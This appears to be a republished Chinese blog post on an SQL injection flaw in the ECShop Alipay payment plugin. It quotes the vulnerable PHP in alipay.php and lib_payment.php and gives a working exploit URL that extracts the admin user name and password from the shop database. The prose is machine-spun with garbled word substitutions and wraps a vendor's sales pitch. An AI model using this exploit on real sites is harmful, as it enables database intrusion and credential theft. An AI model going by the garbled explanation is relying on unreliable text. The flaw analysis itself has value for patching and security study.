ecshop 360支付宝插件漏洞+ flow.php注入漏洞,ecshop支付宝注入漏洞分析

360独家原创，发现到支付宝漏洞，马上铺天盖地，到处都在宣传，可谓360的营销策略很彪悍。这里ecshop模板网告诫大家，发现漏洞，不用多担心！采用ecshop我们独立开发的防注入系统，出现漏洞也不怕。目前所有商业整站，全部都已升级上防注入功能。

这里总结下该漏洞。因为缝隙源于ecshop的付出宝付出插件，一切使用条件是站点装置此插件，使用不受GPC影响。缝隙中心代码在\includes\modules\payment\alipay.php 文件 respond()函数，第215行。

function respond() {

if (!empty($_POST))

{

foreach($_POST as $key => $data)

{

$_GET[$key] = $data;

}

$payment = get_payment($_GET['code']);

$seller_email = rawurldecode($_GET['seller_email']);

$order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']);

$order_sn = trim($order_sn);

/* 检查支付的金额是否相符 */

if (!check_money($order_sn, $_GET['total_fee']))

{

$order_sn变量由str_replace($_GET['subject'], ”, $_GET['out_trade_no']);操控，咱们能够经过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里边的反斜杠\。

结尾$order_sn被带入check_money()函数。咱们跟进看一下

在include\lib_payment.php文件中109行.

functioncheck_money($log_id,$money){$sql='SELECT order_amount FROM '.$GLOBALS['ecs']->table('pay_log')." WHERE log_id = '$log_id'";$amount=$GLOBALS['db']->getOne($sql);if($money==$amount){/*----省略----*/

原来的$order_sn被带入了数据库。

调用respond()函数的文件是respond.php，所以要在respond.php文件使用。

结尾使用EXP：

http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00′ and (sel ect * from (sel ect count(*),concat(floor(rand(0)*2),(sel ect concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) — By ecshop.co/

ecshop 360支付宝插件漏洞+ flow.php注入漏洞,ecshop支付宝注入漏洞分析相关推荐

android支付宝插件,GitHub - DmcSDK/cordova.plugin.alipay: cordova 支付宝支付插件，支持IOS Android。...
cordova.plugin.alipay cordova 支付宝支付插件 cordova plugin add https://github.com/DmcSDK/cordova.plugin.al ...
Ecshop支付宝插件SQL注入及漏洞利用(exp)
0x00 在\includes\modules\payment\alipay.php文件中,有一个response函数用来处理支付信息,在ECSHOP的init初始化文件中,默认是做了全局转义的 ...
ECshop 快捷登录插件支持QQ 支付宝微博
亲自测试可以使用,分享给大家.(承接各种EcShop改版,二次开发等相关项目 QQ:377898650) 安装的时候按照里面说明.安装即可. 代码下载:http://pan.baidu.com/s/1 ...
【安全漏洞】DedeCMS-5.8.1 SSTI模板注入导致RCE
漏洞类型 SSTI RCE 利用条件影响范围应用漏洞概述 2021年9月30日,国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导 ...
php缓存注入,利用Thinkphp 5缓存漏洞实现前台Getshell
原标题:利用Thinkphp 5缓存漏洞实现前台Getshell *本文原创作者:WindWing,属于FreeBuf原创奖励计划,禁止转载 0×00 背景网站为了实现加速访问,会将用户访问过的页面 ...
phpcms前台注入导致任意文件读取漏洞
关于:phpcms前台注入导致任意文件读取漏洞的修复问题简介: phpcms的/phpcms/modules/content/down.php文件中,对输入参数 $_GET['a_k']未进行严格过 ...
php 越权漏洞,PHPYUN最新版多处SQL注入及越权操作二
### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)多处SQL注入及越权操作虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...
【web-攻击用户】（9.6.2）其他客户端注入攻击：开放式重定向漏洞
前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...
360加速插件谷歌字体服务停止运行
相信有很多wordpress博客都在使用360的字体加速服务,在谷歌字体被墙时为站长提升加载提速的服务.就在8月31号360团队发出了停止运行的公告: 网站卫士前端公共库停止运行公告感谢您一直以来给 ...

ecshop 360支付宝插件漏洞+ flow.php注入漏洞,ecshop支付宝注入漏洞分析

ecshop 360支付宝插件漏洞+ flow.php注入漏洞,ecshop支付宝注入漏洞分析相关推荐

最新文章

热门文章